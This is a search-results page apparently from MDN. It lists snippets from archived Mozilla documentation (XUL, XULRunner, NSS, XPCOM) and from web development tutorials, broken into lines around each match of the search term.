from other locations: const { classes: cc interfaces: ci } = components; var instance = cc["@mozilla.org/moz/jssubscript-loader;1"]; var loader = instance.getservice(ci.mozijssubscriptloader); function loadscript(url) { loader.loadsubscript(url); } when a script is loaded, it is evaluated in the scope of the global object of the script that loaded it.
... any property defined on the global object will be accessible
from both scripts: // index.js: loadscript("www.foo.com/a.js"); foo; // => 3 // a.js: foo = 3; exporting names the script loader we obtained
from the components object allows us load scripts
from other locations, but its api is rather limited.
...And 6 more matches
Private Properties - Archive of obsolete content
also shown here is how to generalize the idea of using weakmaps,
from associating one or more private properties with an object, to associating one or more namespaces with each object.
... to make a private property readable/writable
from any function, it's common to define getter/setter functions for the property, respectively: point.prototype.getx = function () { return this._x; }; point.prototype.setx = function (x) { this._x = x; }; point.prototype.gety = function () { return this._y; }; point.prototype.sety = function (y) { this._y = y; }; the above technique is simple and clearly expresses intent.
... however, the use of an underscore prefix is just a coding convention and is not enforced by the language: there is nothing to prevent a user
from directly accessing a property that is supposed to be private.
...And 6 more matches
XUL Migration Guide - Archive of obsolete content
if your add-on needs a lot of help
from third party packages, low-level apis, or xpcom, then the cost of migrating is high, and may not be worth it at this point.
... if your add-on only needs a little help
from those techniques, and can accomplish most of what it needs using the supported apis, then it might still be worth migrating: we'll add more supported apis in future releases to meet important use cases.
...in that directory you can keep your "content", "locale", and "skin" subdirectories: this allows you to refer to objects in these directories
from "chrome.manifest" using a relative path, like "chrome/content".
...And 6 more matches
content/symbiont - Archive of obsolete content
usage a symbiont loads the specified contenturl and content scripts into a
frame, and sets up an asynchronous channel between the content scripts and the add-on code, enabling them to exchange messages using the port or postmessage apis.
... you map optionally pass a
frame into the symbiont's constructor: if you don't, then a new hidden
frame will be created to host the content.
... this trait is composed
from the loader and worker traits.
...And 6 more matches
core/heritage - Archive of obsolete content
reading or writing such code requires sharp eye and lot's of discipline, mainly due to code
fragmentation and lots of machinery being exposed: // defining a simple class function dog(name) { // classes are for creating instances, calling them without `new` changes // behavior, which in majority cases you need to handle, so you end up // with additional boilerplate.
...to do that we need to
freeze constructor's prototype chain to make sure functions are
frozen: object.
freeze(dog.prototype); object.
freeze(pet.prototype); note: also, this is not quite enough as object.prototype stays mutable & in fact we do little bit more in sdk to address that, but it's not in the scope of this documentation.
...also, idiomatic sdk code does not uses optional new keywords, but you're
free to use it in your add-on code: var fluffy = dog('fluffy'); // instatiation fluffy instanceof dog // => true fluffy instanceof class // => true as you could notice
from example above classes created via class function by default inherits
from a class itself.
...And 6 more matches
util/array - Archive of obsolete content
remove(array, element) if the given array contains the given element, this function removes the element
from the array and returns true.
... let { remove } = require('sdk/util/array'); let a = ['alice', 'bob', 'carol']; remove(a, 'dave'); // false remove(a, 'bob'); // true remove(a, 'bob'); // false console.log(a); // ['alice', 'carol'] parameters array : array the array to remove the element
from.
... element : * the element to remove
from the array if it contains it.
...And 6 more matches
Extension Versioning, Update and Compatibility - Archive of obsolete content
if the application has a targetapplication entry but it is for an incompatible version then the application will retrieve updated compatibility information
from the add-on's updateurl.
...e targetapplication for each application the add-on is compatible with --> <em:targetapplication> <rdf:description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>1.5</em:minversion> <em:maxversion>2.0.0.*</em:maxversion> <!-- this is where this version of the add-on will be downloaded
from --> <em:updatelink>https://www.mysite.com/foobar2.2.xpi</em:updatelink> <!-- a page describing what is new in this updated version --> <em:updateinfourl>http://www.mysite.com/updateinfo2.2.xhtml</em:updateinfourl> </rdf:description> </em:targetapplication> </rdf:description> </rdf:li> <rdf:li> ...
...migtma0gcsqgsib3dqebbquaa4gbamo1o2gwsccth1gwymgscfanakpn40pjfowt ub2hvdg8+oxmcif8d/9evwm8eh/ixuxyzlmrzts3o5tv9eway5ubctqdf1wgtsgk jrgzow1fitkzi7w0//c8ekdmlatguegfns2iltd5p/0kh/hf1rpc1wuqeqkcd4+l bcvq13ad</em:signature> </rdf:description> </rdf:rdf> some people prefer this alternate format (note that much of the information has been trimmed
from this example for brevity in order to show the basic structure): <?xml version="1.0" encoding="utf-8"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <!-- this description resource includes all the update and compatibility information for a single add-on with the id foobar@developer.mozilla.org.
...And 6 more matches
JavaScript Object Management - Archive of obsolete content
« previousnext » chrome javascript in this section we'll look into how to handle javascript data effectively, beginning with chrome code, in ways which will prevent pollution of shared namespaces and conflicts with other add-ons resulting
from such global namespace pollution.
...for instance, there are
frequently used xpcom services such as the observer service that can be included as members in the namespace: /** * 〈namespace〉 namespace.
... to initialize your chrome objects, it's usually better to run the initialization code
from the "load" event handler for the window.
...And 6 more matches
The Essentials of an Extension - Archive of obsolete content
firefox needs this to distinguish your extension
from other extensions, so it is required that you have an id that is unique.
... <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>4.0</em:minversion> <em:maxversion>10.*</em:maxversion> </description> </em:targetapplication> this node specifies the target application and target versions for the extension, specifically firefox,
from version 4 up to version 10.
... taken
from chrome registration.
...And 6 more matches
Setting up an extension development environment - Archive of obsolete content
development profile the use of a separate user profile for development can be advantageous, averting performance degradation
from development related settings, and further isolating personal data (such as bookmarks, extensions, and settings)
from your testing environment.
...you can use nsiconsoleservice instead of dump()
from a privileged script.
...this enables to run javascript code snippets in the chrome context of the scratchpad
from the tools menu.
...And 6 more matches
Working with BFCache - Archive of obsolete content
the inner nsidomwindow (the global scope object in content js) is either thrown away when gc happens, or
frozen and placed in the bfcache.
...loaded
from cache?
...a: in the non-bfcache case, the page is reloaded in the sense of reparsing
from the original html source.
...And 6 more matches
Microsummary topics - Archive of obsolete content
for example, the following code snippet installs the microsummary generator
from the creating a microsummary tutorial: var generatortext = ' \ <?xml version="1.0" encoding="utf-8"?> \ <generator xmlns="http://www.mozilla.org/microsummaries/0.1" \ name="firefox download count" \ uri="urn:{835daeb3-6760-47fa-8f4f-8e4fdea1fb16}"> \ <template> \ <transform xmlns="http://www.w3.org/1999/xsl/transform" version="1.0"> \ <output metho...
... createinstance(components.interfaces.nsidomparser); var generatordoc = domparser.parse
fromstring(generatortext, "text/xml"); var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"].
...note: when web sites install generators via window.sidebar.addmicrosummarygenerator(), firefox sets their uri attribute to urn:source:sourceurl, where sourceurl is the url
from which the generator was downloaded.
...And 6 more matches
How to Write and Land Nanojit Patches - Archive of obsolete content
the following files in tracemonkey are
from nanojit: everything in js/src/nanojit/ everything in js/src/vprof/ scenario 0: a common prefix for all scenarios make private clones of all three repositories: nanojit-central, tracemonkey and tamarin-redux.
... [njn: it's possible that the other tm/tr public repo hasn't been updated
from nanojit-central sufficiently recently, in which case the patch won't apply cleanly.
... you might find it easier to just cut-and-paste links
from the commit log.) you're done, but watch the nanojit tinderbox for breakage.
...And 6 more matches
XPJS Components Proposal - Archive of obsolete content
this is a proposal for a system that got implemented, but it may differ
from the actual implementation.
...xpconnect provides the mechanisms for communication between native and js xpcom components, but it does not provide all of the in
frastructure to register and instantiate js components outside of the limitations of the browser window.
... xpjs will provide that in
frastructure.
...And 6 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
these methods can be called
from a script.
... methods are the functions of objects, such as window interface's open() method loads the specified resource into the browsing context (window, <i
frame> or tab) with the specified name.
...for example, the following code will probably fail: var element = document.createelement("my_element"); element.getmaximum() // this will fail by the way, it is safe to call methods
from the constructor, other methods on the object and event handlers.
...And 6 more matches
Commands - Archive of obsolete content
commands provide a suitable way to abstract operations
from the code.
...this function may be separate
from the xul itself, and might be handled internally by a widget.
...if the focus is inside a
frame, each
frame leading to the top-level window is checked as as well.
...And 6 more matches
Focus and Selection - Archive of obsolete content
the blur event is used to respond when the focus is removed
from an element.
...you can retrieve the command dispatcher
from a window using the document's commanddispatcher property.
...
from there, you can get the focused element with the dispatcher's focusedelement property.
...And 6 more matches
XPCOM Interfaces - Archive of obsolete content
after learning this section, you can search suitable interfaces using xulplanet xpcom reference about xpcom mozilla is constructed
from a collection of components, each of which performs a certain task.
...the components are constructed
from a number of definitions called interfaces.
...thus, we can use a component by accessing it using the functions we know
from the interface.
...And 6 more matches
tree - Archive of obsolete content
each row of the tree may contain child rows which are displayed indented
from the parent.
... unlike other elements, the data to display inside the tree is not specified using tags, but is determined
from a view object.
... rdf tree nsitreeview, nsixultreebuilder no this tree is generated
from an rdf datasource.
...And 6 more matches
XULRunner 1.9.1 Release Notes - Archive of obsolete content
xulrunner 1.9.1 is a stable release of the mozilla xulrunner application
framework.
...xulrunner 1.9.1.x is built
from the same source code snapshot as firefox 3.5.x.
... uninstalling xulrunner linux
from a command prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation.
...And 6 more matches
XULRunner 1.9.2 Release Notes - Archive of obsolete content
xulrunner 1.9.2 is a stable release of the mozilla xulrunner application
framework.
...xulrunner 1.9.2.x is built
from the same source code snapshot as firefox 3.6.x.
... uninstalling xulrunner linux
from a command prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation.
...And 6 more matches
XULRunner 1.9 Release Notes - Archive of obsolete content
xulrunner 1.9 is a stable release of the mozilla xulrunner application
framework.
...xulrunner 1.9 is built
from the same source code snapshot as firefox 3.
... uninstalling xulrunner linux
from a command prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation.
...And 6 more matches
XULRunner 2.0 Release Notes - Archive of obsolete content
xulrunner 2.0 is a stable release of the mozilla xulrunner application
framework.
...xulrunner 2.0.x is built
from the same source code snapshot as firefox 4.0.x.
... uninstalling xulrunner linux
from a command prompt, run xulrunner --unregister-global or xulrunner --unregister-user to unregister xulrunner just as you registered it during installation.
...And 6 more matches
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
for example, you may be fixing bugs in xulrunner, applying patches
from bugzilla that aren't yet checked into the main repository or making your own changes to deploy as part of a customized xulrunner build.
...you'll get a warm fuzzy feeling
from mastering the complex but very powerful mozilla build system.
...to build just one of the projects, remove the name of the other
from moz_build_projects.
...And 6 more matches
TCP/IP Security - Archive of obsolete content
when a user wants to transfer data across networks, the data is passed
from the highest layer through intermediate layers to the lowest layer, with each layer adding information.
... the payload consists of the information passed down
from the previous layer, while the header contains layer-specific information such as addresses.
... the four tcp/ip layers,
from highest to lowest, are shown below.
...And 6 more matches
Archived JavaScript Reference - Archive of obsolete content
however, it has been removed
from the standard and the firefox implementation.
...however, this api has been deprecated and removed
from browsers.
... you can use the more general proxy object instead.array.unobserve()the array.unobserve() method was used to remove observers set by array.observe(), but has been deprecated and removed
from browsers.
...And 6 more matches
Building up a basic demo with the PlayCanvas engine - Game development
built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs
from various devices (including gamepads).
...next, the camera object is added to the root of our application and positioned to be 7 units away
from the center of the scene on the z axis.
...the first type is a directional light placed somewhere on the scene while the scond one reflects the light
from the first type, so it looks more natural; this can be set globally.
...And 6 more matches
WebVR — Virtual Reality for the Web - Game development
this article introduced webvr
from the perspective of its use in games.
...there are many devices to chose
from: desktop ones like oculus rift or htc vive, through consoles with playstation vr (which admittedly doesn't support webvr at this time), to mobile experiences like gear vr or google cardboard.
...the development is led by vladimir vukicevic
from mozilla and brandon jones
from google.
...And 6 more matches
Move the ball - Game development
you already know how to draw a ball
from working through the previous article, so now let's make it move.
... technically, we will be painting the ball on the screen, clearing it and then painting it again in a slightly different position every
frame to make the impression of movement — just like how movement works with the movies.
... defining a drawing loop to keep constantly updating the canvas drawing on each
frame, we need to define a drawing function that will run over and over again, with a different set of variable values each time to change sprite positions, etc.
...And 6 more matches
Pseudo-classes and pseudo-elements - Learn web development
inserting strings of text
from css isn't really something we do very often on the web however, as that text is inaccessible to some screen readers and might be hard for someone to find and edit in the future.
... a more valid use of these pseudo-elements is to insert an icon, for example the little arrow added in the example below, which is a visual indicator that we wouldn't want read out by a screenreader: these pseudo-elements are also
frequently used to insert an empty string, which can then be styled just like any element on the page.
... :nth-child matches elements
from a list of siblings — the siblings are matched by a formula of the form an+b (e.g.
...And 6 more matches
Flexbox - Learn web development
these are fine and they work, but in some ways they are also rather limiting and
frustrating.
...to get started, you should make a local copy of the first starter file — flexbox0.html
from our github repo — load it in a modern browser (like firefox or chrome), and have a look at the code in your code editor.
...before you move on, delete this declaration
from your example.
...And 6 more matches
Practical positioning examples - Learn web development
first, add the following rule at the bottom of your css to remove the default padding-left and margin-top
from the unordered list: .info-box ul { padding-left: 0; margin-top: 0; } note: we are using descendant selectors with .info-box at the start of the chain throughout this example — this is so that we can insert this feature into a page with other content already on it, without fear of interfering with the styles applied to other parts of the page.
... a class of active is set on the tab that was clicked on — remember
from earlier that this class has an associated rule in the css that sets the same color and background-color on the tab as the panels are styled with.
... a class of active-panel is set on the panel that corresponds to the tab that was clicked on — remember
from earlier that this class has an associated rule in the css that sets its z-index to 1, making it appear over the top of the other panels.
...And 6 more matches
Styling links - Learn web development
this is because if the real links were included, clicking on them would break the examples (you'd end up with an error, or a page loaded in the embedded example that you couldn't get back
from.) # just links to the current page.
...this doesn't mean that you shouldn't style links at all, just that you should not stray too far
from the expected behaviour.
... note: you are not just limited to the above properties to style your links — you are
free to use any properties you like.
...And 6 more matches
Styling lists - Learn web development
for reference, paragraph for reference.</p> <ul> <li>hummus</li> <li>pita</li> <li>green salad</li> <li>halloumi</li> </ul> <h2>recipe (ordered) list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <ol> <li>toast pita, leave to cool, then slice down the edge.</li> <li>
fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> <li>wash and chop the salad.</li> <li>fill pita with salad, hummus, and
fried halloumi.</li> </ol> <h2>ingredient description list</h2> <p>paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference, paragraph for reference.</p> <dl> <dt>hummus</dt>...
... <dd>a thick dip/sauce generally made
from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> <dt>pita</dt> <dd>a soft, slightly leavened flatbread.</dd> <dt>halloumi</dt> <dd>a semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made
from goat/sheep milk.</dd> <dt>green salad</dt> <dd>that green healthy stuff that many of us just use to garnish kebabs.</dd> </dl> if you go to the live example now and investigate the list elements using browser developer tools, you'll notice a couple of styling defaults: the <ul> and <ol> elements have a top and bottom margin of 16px (1em) and a padding-left of 40px (2.5em.) the list items (<li> elements) have no set defaults for spacing.
...n our finished example, we have styled the unordered list like so (on top of what you've already seen above): ul { padding-left: 2rem; list-style-type: none; } ul li { padding-left: 2rem; background-image: url(star.svg); background-position: 0 0; background-size: 1.6rem 1.6rem; background-repeat: no-repeat; } here we've done the following: set the padding-left of the <ul> down
from the default 40px to 20px, then set the same amount on the list items.
...And 6 more matches
CSS basics - Learn web development
(for example, there are many color values in addition to red.) note the other important parts of the syntax: apart
from the selector, each ruleset must be wrapped in curly braces.
... ({}) within each declaration, you must use a colon (:) to separate the property
from its value or values.
... within each ruleset, you must use a semicolon (;) to separate each declaration
from the next one.
...And 6 more matches
Publishing your website - Learn web development
you can rent your domain name for as many years as you want
from a domain registrar.
... there are also
free services available like neocities, blogger, and wordpress.
...you can then collaborate on code projects, and the system is open-source by default, meaning that anyone in the world can find your github code, use it, learn
from it, and improve on it.
...And 6 more matches
Document and website structure - Learn web development
basic sections of a document webpages can and will look pretty different
from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured: header: usually a big strip across the top with a big heading, logo, and perhaps a tagline.
... this usually stays the same
from one webpage to another.
...like the header, this content usually remains consistent
from one webpage to another — having inconsistent navigation on your website will just lead to confused,
frustrated users.
...And 6 more matches
Arrays - Learn web development
try this: shopping[0] = 'tahini'; shopping; // shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ] note: we've said it before, but just as a reminder — computers start counting
from 0!
...first, create a string in your console: let mydata = 'manchester,london,liverpool,birmingham,leeds,carlisle'; now let's split it at each comma: let myarray = mydata.split(','); myarray; finally, try finding the length of your new array, and retrieving some items
from it: myarray.length; myarray[0]; // the first item in the array myarray[1]; // the second item in the array myarray[myarray.length-1]; // the last item in the array you can also go the opposite way using the join() method.
...if you wanted to store the new array length in a variable, you could do something like this: let newlength = myarray.push('bristol'); myarray; newlength; removing the last item
from the array is as simple as running pop() on it.
...And 6 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
never fear — this article aims to save you
from tearing your hair out over such problems by providing you with some tips on how to find and fix errors in javascript programs.
...you should see an error message along the following lines: this is a pretty easy error to track down, and the browser gives you several useful bits of information to help you out (the screenshot above is
from firefox, but other browsers provide similar information).
...
from left to right, we've got: a red "x" to indicate that this is an error.
...And 6 more matches
Adding features to our bouncing balls demo - Learn web development
previous overview: objects in this assessment, you are expected to use the bouncing balls demo
from the previous article as a starting point, and add some new and interesting features to it.
... objective: to test comprehension of javascript objects and object-oriented constructs starting point to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js
from our last article in a new directory in your local computer.
...if the online editor you are using doesn't have separate javascript/css panels, feel
free to put them inline <script>/<style> elements inside the html page.
...And 6 more matches
Object-oriented JavaScript for beginners - Learn web development
to start this off, we could return to our person object type
from our first objects article, which defines the generic data and functionality of a person.
... creating actual objects
from our class, we can create object instances — objects that contain the data and functionality defined in the class.
...
from our person class, we can now create some actual people: when an object instance is created
from a class, the class's constructor function is run to create it.
...And 6 more matches
Server-side website programming first steps - Learn web development
in this module we answer a few fundamental questions about server-side programming — "what is it?", "how does it differ
from client-side programming?", and "why is it so useful?".
... we then provide an overview of some of the most popular server-side web
frameworks, along with guidance on how to select the most suitable
framework for creating your first site.
...in this first article, we look at server-side programming
from a high level, answering questions such as "what is it?", "how does it differ
from client-side programming?", and "why it is so useful?".
...And 6 more matches
Creating our first Vue component - Learn web development
previous overview: client-side javascript
frameworks next now it's time to dive deeper into vue, and create our own custom component — we'll start by creating a component to represent each item in the todo list.
... at the top of your <script> tag, add the following to import your todoitem component: import todoitem
from './components/todoitem.vue'; inside your component object, add the components property, and inside it add your todoitem component to register it.
... your <script> contents should now look like this: import todoitem
from './components/todoitem.vue'; export default { name: 'app', components: { todoitem } }; this is the same way that the helloworld component was registered by the vue cli earlier.
...And 6 more matches
Rendering a list of Vue components - Learn web development
previous overview: client-side javascript
frameworks next at this point we've got a fully working component; we're now ready to add multiple todoitem components to our app.
...then we want to pass the data
from each to-do item to a todoitem component.
... import lodash.uniqueid into your app component in the same way you did with your todoitem component, using import uniqueid
from 'lodash.uniqueid'; next, add an id field to each element in your todoitems array, and assign each of them a value of uniqueid('todo-').
...And 6 more matches
Introduction to cross browser testing - Learn web development
different devices with different capabilities,
from the latest greatest tablets and smartphones, through smart tvs, right down to cheap tablets and even older feature phones that may run browsers with limited capabilities.
...troubleshooting javascript
from previous topics to re
fresh your memory if needed).
...this is inevitable when you are dealing with bleeding edge features that browsers are just getting round to implementing, or if you have to support really old browsers that are no longer being developed, which may have been
frozen (i.e.
...And 6 more matches
Strategies for carrying out testing - Learn web development
using analytics a much more accurate source of data, if you can get it, comes
from an analytics app like google analytics.
...you could place the snippets below your closing </body> tag, or somewhere else appropriate that keeps it
from getting muddled up with your application code.
...for example, you can find out what browsers and operating systems your users are using by selecting audience > technology > browser & os
from the left hand menu.
...And 6 more matches
Accessibility Features in Firefox
at my next opportunity, i intend to convert my family over to it too." darren paskell,
from window-eyes beta testing list firefox works with popular screen readers, with the best support currently coming
from gw micro's window-eyes 5.5.
...in recent articles
from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox
from internet explorer for screen reader users.
... screen magnifier users can also benefit
from firefox's powerful features today, as caret and focus tracking are fully enabled.
...And 6 more matches
Embedding API for Accessibility
for the most part, an automatic re
frame is performed when one of these prefs is changed.
... a re
frame fixes the appearance of the page to match the new prefs, without reloading the document over the network.
...essibility prefs reference the following is a description of what accessibility prefs give us (or will give us), for accessibility: functionality implementation works as of images setintpref("network.image.imagebehavior", behavior); /* behavior: 0=accept, 1=accept images
from originating server only, 2=no images */ moz 0.8 cookies setintpref("network.cookie.cookiebehavior", behavior); /* behavior: 0=accept, 1=accept cookies
from originating server only, 2=no cookies */ setboolpref("network.cookie.warnaboutcookies", boolwarn); moz 0.8 ...
...And 6 more matches
Adding a new event
this is useful for widget notifying dom tree of something or retrieving something
from dom tree.
...widget should be used if the event class is dispatched
from widget.
...you should choose a good header file
from what your event class represents.
...And 6 more matches
Creating reftest-based unit tests
if the bitmaps resulting
from displaying the two files in an 800x1000 window are identical, the test passes.
...the power of the tool comes
from the fact that there is more than one way to achieve any given visual effect in a browser.
... to run all the reftests, go to the directory where you save firefox's source code and run: ./mach reftest if you want to run a particular set of reftests, pass the path as an argument: ./mach reftest path/
from/sourcedir/reftest.list and to run a single reftest just pass the path to the test file (not the reference file): ./mach reftest path/
from/sourcedir/reftest-name.html there is no reftest equivalent to mach mochitest --keep-open, but temporarily adding the reftest-wait class to a test (or disabling the script that removes it) will keep it open longer.
...And 6 more matches
Listening to events on all tabs
optional
from gecko 10 onprogresschange called when updated progress information for the download of a document is available.
... onre
freshattempted notification that a re
fresh or redirect has been requested in awebprogress for example, via a <meta http-equiv="re
fresh"> or an http re
fresh: header.
... if any registered progress listener returns false
from this method then the attempt to re
fresh will be blocked.
...And 6 more matches
mozbrowserasyncscroll
the mozbrowserasyncscroll event is fired when the content of a browser <i
frame> is scrolled.
... general info specification non standard interface customevent bubbles yes cancelable yes target <i
frame> default action none properties property type description target read only eventtarget the browser i
frame type read only domstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: top the scroll top position in css pixels of the document within the browser <i
frame>.
...And 6 more matches
Overview of Mozilla embedding APIs
mozilla's xpcom layer consists of a component model (called xpcom) and the in
frastructure necessary to support dynamic registration, instantiation and manipulation of xpcom components.
... public classes the following utility classes are available
from the xpcom dll.
...public return codes ns_succeeded ns_error_failure ns_error_not_implemented public functions the following functions are available
from the xpcom dll.
...And 6 more matches
How to implement a custom autocomplete search component
note: when copying the examples below, change the uuid that uniquely identifies the component, otherwise you might have problems if your component gets installed along another component derived
from those same examples.
...so, get a uuid
from http://www.famkruithof.net/uuid/uuidgen, for example, and paste it in.
... * @return {string} the final value of the result at the given index */ getfinalcompletevalueat: function(index) { return this.getvalueat(index); }, /** * removes the value at the given index
from the autocomplete results.
...And 6 more matches
Sqlite.jsm
since sqlite.jsm manages statements for you, it can perform intelligent actions like purging all cached statements not in use,
freeing memory in the process.
...the complexities of xpcom are mostly hidden
from view.
... note: the sqlite.jsm javascript code module can only be used
from chrome -- that is,
from within the application itself or an add-on.
...And 6 more matches
Localizing without a specialized tool
from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code.
... folder structure throughout this document, we will be using the following folder structure in all examples: your working directory (root) mozilla-1.9.2 (en-us source, pulled
from http://hg.mozilla.org/releases/mozilla-1.9.2) l10n-mozilla-1.9.2 (a directory containing localization directories, one dir per localization; often referred to as "l10n base") x-testing (a directory with your localization files) please either follow this structure closely or adjust all commands in the documentation as needed by your custom set-up.
...assuming that you have installed mercurial, issue the following command: $ hg clone http://hg.mozilla.org/releases/mozilla-1.9.2 this will pull the mozilla 1.9.2 sources
from the remote repository and create a mercurial clone in mozilla-1.9.2 inside your working directory.
...And 6 more matches
Profiling with Xperf
for 64-bit windows 7 or vista, you'll need to do a registry tweak and then restart to enable stack walking: reg add "hklm\system\currentcontrolset\control\session manager\memory management" -v disablepagingexecutive -d 0x1 -t reg_dword -f symbol server setup with the latest versions of the windows performance toolkit, you can modify the symbol path directly
from within the program via the trace menu.
... the standard symbol path that includes both mozilla's and microsoft's symbol server configuration is as follows: _nt_symcache_path: c:\symbols _nt_symbol_path: srv*c:\symbols*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://symbols.mozilla.org/firefox/ to add symbols
from your own builds, add c:\path\to\objdir\dist\bin to _nt_symbol_path.
...either run these commands
from there, or add the directory to your path.
...And 6 more matches
About NSPR
these facilities include threads, thread synchronization, normal file and network i/o, interval timing and calendar time, basic memory management (malloc and
free) and shared library linking.
...nspr, while far
from perfect, does provide a single api to which clients may program and expect reasonably consistent behavior.
... the operating systems provide everything
from no concept of threading at all up to and including sophisticated, scalable and efficient implementations.
...And 6 more matches
NSS 3.12.4 release notes
distribution information this release is built
from the source, at the cvs repository rooted at cvs.mozilla.org:/cvsroot, with the cvs tag nss_3_12_4_rtm.
...you can check out the source
from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_4_rtm nss see the documentation section for the build instructions.
... bug 321755: implement crldistributionpoint extension in libpkix bug 391434: avoid multiple encoding/decoding of pkix_pl_oid to and
from ascii string bug 405297: problems building nss/lib/ckfw/capi/ with mingw gcc bug 420991: libpkix returns wrong nss error code bug 427135: add super-h (sh3,4) architecture support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted
from nss bug 449332: secu_parsecommandline does not validate its inputs bug 453735: when using cert9 (sqlite3) db, set ...
...And 6 more matches
PKCS11 Implement
summarizes the support nss expects
from different kinds of tokens.
... slot and token management c_getslotlist the nss calls c_getslotlist on startup or when it loads a new module, requests all the module's slots, and keeps track of the list
from that point on.
...the nss calls c_initpin to initialize the device and set the user pin; if these calls are successful, the key is generated and at that point the cfk_user_pin_initialized flag should change
from false to true.
...And 6 more matches
NSS Tools crlutil
-d delete certificate revocation list
from cert database.
... -i import a crl to the cert database -e erase all crls of specified type
from the cert database -l list existing crl located in cert database file.
...if options -m|-g is used and -c crl-script-file is not specified, crlutil will read script data
from standard input.
...And 6 more matches
NSS Tools ssltap
description the ssltap command opens a socket on a rendezvous port and waits for an incoming connection
from the client side.
...the tool also displays the data to the shell window
from which it was called.
...data sent
from the client to the server is in blue; the server's reply is in red.
...And 6 more matches
SpiderMonkey 1.8
—9 march 2009 known issues spidermonkey 1.8 has one known significant regression
from 1.7.
...in spidermonkey 1.8.1 they will be removed and replaced with a new set of apis (js_getsecuritycallbacks and
friends, bug 451729).
...it is fairly easy to create a microsoft visual studio project file for spidermonkey 1.8
from scratch.
...And 6 more matches
TPS Tests
a test file may contain an arbitrary number of sections, each involving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a common set of data (
from a single sync account) over a series of different events and clients.
...rname=%email% --password=%password% %path% note: if you are updating the tps environment and want to keep your existing config (eg, the existing username and password), you should instead execute: python create_venv.py --keep-config %path% activate the environment source %path%/bin/activate run some tests note that the testfile is not a path, it should only be the filename
from services/sync/tests/tps/ runtps --debug --testfile %test_file_name% --binary %firefox_binary_path% additionally, omitting a --testfile parameter will cause it to run all tps tests listed in services/sync/tests/tps/all_tests.json an example on osx, for running just the test_sync.js testfile against a locally built firefox (where the mozconfig set the objdir to obj-ff-artifa...
...in particular, it will set preferences
from the "preferences" property, and so you can set the "identity.fxaccounts.autoconfig.uri" preference to point to any fxa server you want.
...And 6 more matches
Using the Places annotation service
it is usable
from trusted firefox code such as extensions, but not
from web pages.
...you should only use it
from the main thread.
...
from c++ you must use the setter for the explicit data type being saved: setpageannotationstring(auri, aname, avalue, aflags, aexpiration); setpageannotationint32(auri, aname, avalue, aflags, aexpiration); setpageannotationint64(auri, aname, avalue, aflags, aexpiration); setpageannotationdouble(auri, aname, avalue, aflags, aexpiration); setpageannotationbinary(auri, aname, adata, adatalen, af...
...And 6 more matches
mozIAsyncFavicons
1.0 66 introduced gecko 6.0 inherits
from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifaviconservice handles this interface, so you do not need to directly create a new service.
...as an alternative, you can just use placesutils.favicons
from javascript.
...nforpage(in nsiuri apageuri, in nsiuri afaviconuri, in boolean aforcereload, in unsigned long afaviconloadtype, [optional] in nsifavicondatacallback acallback); void replacefavicondata(in nsiuri afaviconuri, [const,array,size_is(adatalen)] in octet adata, in unsigned long adatalen, in autf8string amimetype, [optional] in prtime aexpiration); void replacefavicondata
fromdataurl(in nsiuri afaviconuri, in astring adataurl, [optional] in prtime aexpiration); methods getfaviconurlforpage() retrieve the url of the favicon for the given page.
...And 6 more matches
nsIChannel
inherits
from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters.
... this interface must be used only
from the xpcom main thread.
... note: as of gecko 19.0, this parameter changed
from long to int64_t.
...And 6 more matches
nsICryptoHash
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void update
fromstream(in nsiinputstream astream,...
... update
fromstream() calculates and updates a new hash based on a given data stream (nsiinputstream).
... void update
fromstream( in nsiinputstream astream, in unsigned long alen ); parameters astream an input stream to read
from.
...And 6 more matches
nsIExternalProtocolService
inherits
from: nsisupports last changed in gecko 1.9 (firefox 3) you can ask the external protocol service if it has an external handler for a given protocol scheme.
